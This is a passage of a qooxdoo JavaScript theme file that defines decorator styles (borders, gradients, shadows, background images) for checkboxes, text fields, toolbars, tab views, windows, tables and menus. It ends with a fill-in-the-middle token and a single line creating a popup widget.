: ["checkbox-end", 100], shadowLength : 0, shadowBlurRadius : 0, shadowColor : "checkbox-focus", insetLeft: 4 // (2 for the border and two for the glow effect) } }, "checkbox-hovered" : { include : "checkbox", style : { innerColor : "checkbox-hovered-inner", // use the same color to get a single colored background gradientStart : ["checkbox-hovered", 0], gradientEnd : ["checkbox-hovered", 100] } }, "checkbox-focused" : { include : "checkbox", style : { shadowBlurRadius : 4 } }, "checkbox-disabled" : { include : "checkbox", style : { color : "checkbox-disabled-border", innerColor : "checkbox-disabled-inner", gradientStart : ["checkbox-disabled-start", 0], gradientEnd : ["checkbox-disabled-end", 100] } }, "checkbox-invalid" : { include : "checkbox", style : { color : "invalid" } }, "checkbox-hovered-invalid" : { include : "checkbox-hovered", style : { color : "invalid", innerColor : "checkbox-hovered-inner-invalid", gradientStart : ["checkbox-hovered-invalid", 0], gradientEnd : ["checkbox-hovered-invalid", 100] } }, "checkbox-focused-invalid" : { include : "checkbox-focused", style : { color : "invalid", shadowColor : "invalid" } }, /* --------------------------------------------------------------------------- PLAIN CSS TEXT FIELD --------------------------------------------------------------------------- */ "input-css" : { decorator : [ qx.ui.decoration.MDoubleBorder, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBackgroundColor ], style : { color : "border-input", innerColor : "border-inner-input", innerWidth: 1, width : 1, backgroundColor : "background-light", startColor : "input-start", endColor : "input-end", startColorPosition : 0, endColorPosition : 12, colorPositionUnit : "px" } }, "border-invalid-css" : { include : "input-css", style : { color : "border-invalid" } }, "input-focused-css" : { include : "input-css", style : { startColor : "input-focused-start", innerColor : "input-focused-end", endColorPosition : 4 } }, "input-focused-invalid-css" : { include : "input-focused-css", style : { innerColor : "input-focused-inner-invalid", color : "border-invalid" } }, "input-disabled-css" : { include : "input-css", style : { color: "input-border-disabled" } }, /* --------------------------------------------------------------------------- TEXT FIELD --------------------------------------------------------------------------- */ "input" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "border-input", innerColor : "border-inner-input", innerOpacity : 0.5, backgroundImage : "decoration/form/input.png", backgroundRepeat : "repeat-x", backgroundColor : "background-light" } }, "input-focused" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "border-input", innerColor : "border-focused", backgroundImage : "decoration/form/input-focused.png", backgroundRepeat : "repeat-x", backgroundColor : "background-light" } }, "input-focused-invalid" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "invalid", innerColor : "border-focused-invalid", backgroundImage : "decoration/form/input-focused.png", backgroundRepeat : "repeat-x", backgroundColor : "background-light", insets: [2] } }, "input-disabled" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "border-disabled", innerColor : "border-inner-input", innerOpacity : 0.5, backgroundImage : "decoration/form/input.png", backgroundRepeat : "repeat-x", backgroundColor : "background-light" } }, /* --------------------------------------------------------------------------- TOOLBAR --------------------------------------------------------------------------- */ "toolbar" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/toolbar/toolbar-gradient.png", backgroundRepeat : "scale" } }, "toolbar-css" : { decorator : [qx.ui.decoration.MLinearBackgroundGradient], style : { startColorPosition : 40, endColorPosition : 60, startColor : "toolbar-start", endColor : "toolbar-end" } }, "toolbar-button-hovered" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "border-toolbar-button-outer", innerColor : "border-toolbar-border-inner", backgroundImage : "decoration/form/button-c.png", backgroundRepeat : "scale" } }, "toolbar-button-checked" : { decorator : qx.ui.decoration.Beveled, style : { outerColor : "border-toolbar-button-outer", innerColor : "border-toolbar-border-inner", backgroundImage : "decoration/form/button-checked-c.png", backgroundRepeat : "scale" } }, "toolbar-button-hovered-css" : { decorator : [ qx.ui.decoration.MDoubleBorder, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBorderRadius ], style : { color : "border-toolbar-button-outer", width: 1, innerWidth: 1, innerColor : "border-toolbar-border-inner", radius : 2, gradientStart : ["button-start", 30], gradientEnd : ["button-end", 100] } }, "toolbar-button-checked-css" : { include : "toolbar-button-hovered-css", style : { gradientStart : ["button-end", 30], gradientEnd : ["button-start", 100] } }, "toolbar-separator" : { decorator : qx.ui.decoration.Single, style : { widthLeft : 1, widthRight : 1, colorLeft : "border-toolbar-separator-left", colorRight : "border-toolbar-separator-right", styleLeft : "solid", styleRight : "solid" } }, "toolbar-part" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/toolbar/toolbar-part.gif", backgroundRepeat : "repeat-y" } }, /* --------------------------------------------------------------------------- TABVIEW --------------------------------------------------------------------------- */ "tabview-pane" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tabview-pane.png", insets : [ 4, 6, 7, 4 ] } }, "tabview-pane-css" : { decorator : [ qx.ui.decoration.MBorderRadius, qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MSingleBorder ], style : { width: 1, color: "window-border", radius : 3, gradientStart : ["tabview-start", 90], gradientEnd : ["tabview-end", 100] } }, "tabview-page-button-top-active" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-top-active.png" } }, "tabview-page-button-top-inactive" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-top-inactive.png" } }, "tabview-page-button-bottom-active" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-bottom-active.png" } }, "tabview-page-button-bottom-inactive" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-bottom-inactive.png" } }, "tabview-page-button-left-active" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-left-active.png" } }, "tabview-page-button-left-inactive" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-left-inactive.png" } }, "tabview-page-button-right-active" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-right-active.png" } }, "tabview-page-button-right-inactive" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/tabview/tab-button-right-inactive.png" } }, // CSS TABVIEW BUTTONS "tabview-page-button-top-active-css" : { decorator : [ qx.ui.decoration.MBorderRadius, qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MBoxShadow ], style : { radius : [3, 3, 0, 0], width: [1, 1, 0, 1], color: "tabview-background", backgroundColor : "tabview-start", shadowLength: 1, shadowColor: "shadow", shadowBlurRadius: 2 } }, "tabview-page-button-top-inactive-css" : { decorator : [ qx.ui.decoration.MBorderRadius, qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient ], style : { radius : [3, 3, 0, 0], color: "tabview-inactive", colorBottom : "tabview-background", width: 1, gradientStart : ["tabview-inactive-start", 0], gradientEnd : ["tabview-inactive-end", 100] } }, "tabview-page-button-bottom-active-css" : { include : "tabview-page-button-top-active-css", style : { radius : [0, 0, 3, 3], width: [0, 1, 1, 1], backgroundColor : "tabview-inactive-start" } }, "tabview-page-button-bottom-inactive-css" : { include : "tabview-page-button-top-inactive-css", style : { radius : [0, 0, 3, 3], width: [0, 1, 1, 1], colorBottom : "tabview-inactive", colorTop : "tabview-background" } }, "tabview-page-button-left-active-css" : { include : "tabview-page-button-top-active-css", style : { radius : [3, 0, 0, 3], width: [1, 0, 1, 1], shadowLength: 0, shadowBlurRadius: 0 } }, "tabview-page-button-left-inactive-css" : { include : "tabview-page-button-top-inactive-css", style : { radius : [3, 0, 0, 3], width: [1, 0, 1, 1], colorBottom : "tabview-inactive", colorRight : "tabview-background" } }, "tabview-page-button-right-active-css" : { include : "tabview-page-button-top-active-css", style : { radius : [0, 3, 3, 0], width: [1, 1, 1, 0], shadowLength: 0, shadowBlurRadius: 0 } }, "tabview-page-button-right-inactive-css" : { include : "tabview-page-button-top-inactive-css", style : { radius : [0, 3, 3, 0], width: [1, 1, 1, 0], colorBottom : "tabview-inactive", colorLeft : "tabview-background" } }, /* --------------------------------------------------------------------------- SPLITPANE --------------------------------------------------------------------------- */ "splitpane" : { decorator : qx.ui.decoration.Uniform, style : { backgroundColor : "background-pane", width : 3, color : "background-splitpane", style : "solid" } }, /* --------------------------------------------------------------------------- WINDOW --------------------------------------------------------------------------- */ "window" : { decorator: qx.ui.decoration.Single, style : { backgroundColor : "background-pane", width : 1, color : "border-main", widthTop : 0 } }, "window-captionbar-active" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/window/captionbar-active.png" } }, "window-captionbar-inactive" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/window/captionbar-inactive.png" } }, "window-statusbar" : { decorator : qx.ui.decoration.Grid, style : { baseImage : "decoration/window/statusbar.png" } }, // CSS WINDOW "window-css" : { decorator : [ qx.ui.decoration.MBorderRadius, qx.ui.decoration.MBoxShadow, qx.ui.decoration.MSingleBorder ], style : { radius : [5, 5, 0, 0], shadowBlurRadius : 4, shadowLength : 2, shadowColor : "shadow" } }, "window-incl-statusbar-css" : { include : "window-css", style : { radius : [5, 5, 5, 5] } }, "window-resize-frame-css" : { decorator : [ qx.ui.decoration.MBorderRadius, qx.ui.decoration.MSingleBorder ], style : { radius : [5, 5, 0, 0], width : 1, color : "border-main" } }, "window-resize-frame-incl-statusbar-css" : { include : "window-resize-frame-css", style : { radius : [5, 5, 5, 5] } }, "window-captionbar-active-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBorderRadius, qx.ui.decoration.MLinearBackgroundGradient ], style : { width : 1, color : "window-border", colorBottom : "window-border-caption", radius : [5, 5, 0, 0], gradientStart : ["window-caption-active-start", 30], gradientEnd : ["window-caption-active-end", 70] } }, "window-captionbar-inactive-css" : { include : "window-captionbar-active-css", style : { gradientStart : ["window-caption-inactive-start", 30], gradientEnd : ["window-caption-inactive-end", 70] } }, "window-statusbar-css" : { decorator : [ qx.ui.decoration.MBackgroundColor, qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBorderRadius ], style : { backgroundColor : "window-statusbar-background", width: [0, 1, 1, 1], color: "window-border", radius : [0, 0, 5, 5] } }, "window-pane-css" : { decorator: [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MBackgroundColor ], style : { backgroundColor : "background-pane", width : 1, color : "window-border", widthTop : 0 } }, /* --------------------------------------------------------------------------- TABLE --------------------------------------------------------------------------- */ "table" : { decorator : qx.ui.decoration.Single, style : { width : 1, color : "border-main", style : "solid" } }, "table-statusbar" : { decorator : qx.ui.decoration.Single, style : { widthTop : 1, colorTop : "border-main", style : "solid" } }, "table-scroller-header" : { decorator : qx.ui.decoration.Single, style : { backgroundImage : "decoration/table/header-cell.png", backgroundRepeat : "scale", widthBottom : 1, colorBottom : "border-main", style : "solid" } }, "table-scroller-header-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient ], style : { gradientStart : ["table-header-start", 10], gradientEnd : ["table-header-end", 90], widthBottom : 1, colorBottom : "border-main" } }, "table-header-cell" : { decorator : qx.ui.decoration.Single, style : { widthRight : 1, colorRight : "border-separator", styleRight : "solid" } }, "table-header-cell-hovered" : { decorator : qx.ui.decoration.Single, style : { widthRight : 1, colorRight : "border-separator", styleRight : "solid", widthBottom : 1, colorBottom : "table-header-hovered", styleBottom : "solid" } }, "table-scroller-focus-indicator" : { decorator : qx.ui.decoration.Single, style : { width : 2, color : "table-focus-indicator", style : "solid" } }, /* --------------------------------------------------------------------------- PROGRESSIVE --------------------------------------------------------------------------- */ "progressive-table-header" : { decorator : qx.ui.decoration.Single, style : { width : 1, color : "border-main", style : "solid" } }, "progressive-table-header-cell" : { decorator : qx.ui.decoration.Single, style : { backgroundImage : "decoration/table/header-cell.png", backgroundRepeat : "scale", widthRight : 1, colorRight : "progressive-table-header-border-right", style : "solid" } }, "progressive-table-header-cell-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient ], style : { gradientStart : ["table-header-start", 10], gradientEnd : ["table-header-end", 90], widthRight : 1, colorRight : "progressive-table-header-border-right" } }, /* --------------------------------------------------------------------------- MENU --------------------------------------------------------------------------- */ "menu" : { decorator : qx.ui.decoration.Single, style : { backgroundImage : "decoration/menu/background.png", backgroundRepeat : "scale", width : 1, color : "border-main", style : "solid" } }, "menu-css" : { decorator : [ qx.ui.decoration.MLinearBackgroundGradient, qx.ui.decoration.MBoxShadow, qx.ui.decoration.MSingleBorder ], style : { gradientStart : ["menu-start", 0], gradientEnd : ["menu-end", 100], shadowColor : "shadow", shadowBlurRadius : 2, shadowLength : 1, width : 1, color : "border-main" } }, "menu-separator" : { decorator : qx.ui.decoration.Single, style : { widthTop : 1, colorTop : "menu-separator-top", widthBottom : 1, colorBottom : "menu-separator-bottom" } }, /* --------------------------------------------------------------------------- MENU BAR --------------------------------------------------------------------------- */ "menubar" : { decorator : qx.ui.decoration.Single, style : { backgroundImage : "decoration/menu/bar-background.png", backgroundRepeat : "scale", width : 1, color : "border-separator", style : "solid" } }, "menubar-css" : { decorator : [ qx.ui.decoration.MSingleBorder, qx.ui.decoration.MLinearBackgroundGradient ], style : { gradientStart : ["menubar-start", 0], gradientEnd : ["menu-end", 100], width : 1, color : "border-separator" } }, /* --------------------------------------------------------------------------- APPLICATION --------------------------------------------------------------------------- */ "app-header": { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/app-header.png", backgroundRepeat : "scale" } }, /* --------------------------------------------------------------------------- PROGRESSBAR --------------------------------------------------------------------------- */ "progressbar" : { decorator: qx.ui.decoration.Single, style: { width: 1, color: "border-input" } }, /* --------------------------------------------------------------------------- VIRTUAL WIDGETS --------------------------------------------------------------------------- */ "group-item" : { decorator : qx.ui.decoration.Background, style : { backgroundImage : "decoration/group-item.png", backgroundRepeat : "scale" } }, "group-item-css" : { decorator : [ qx.ui.decoration.MLinearBackgroundGradient ], style : { startColorPosition : 0, endColorPosition : 100, startColor : "groupitem-start", endColor : "groupitem-end" } } } });<|fim▁end|>
control = new qx.ui.popup.Popup(new qx.ui.layout.VBox); control.setAutoHide(false);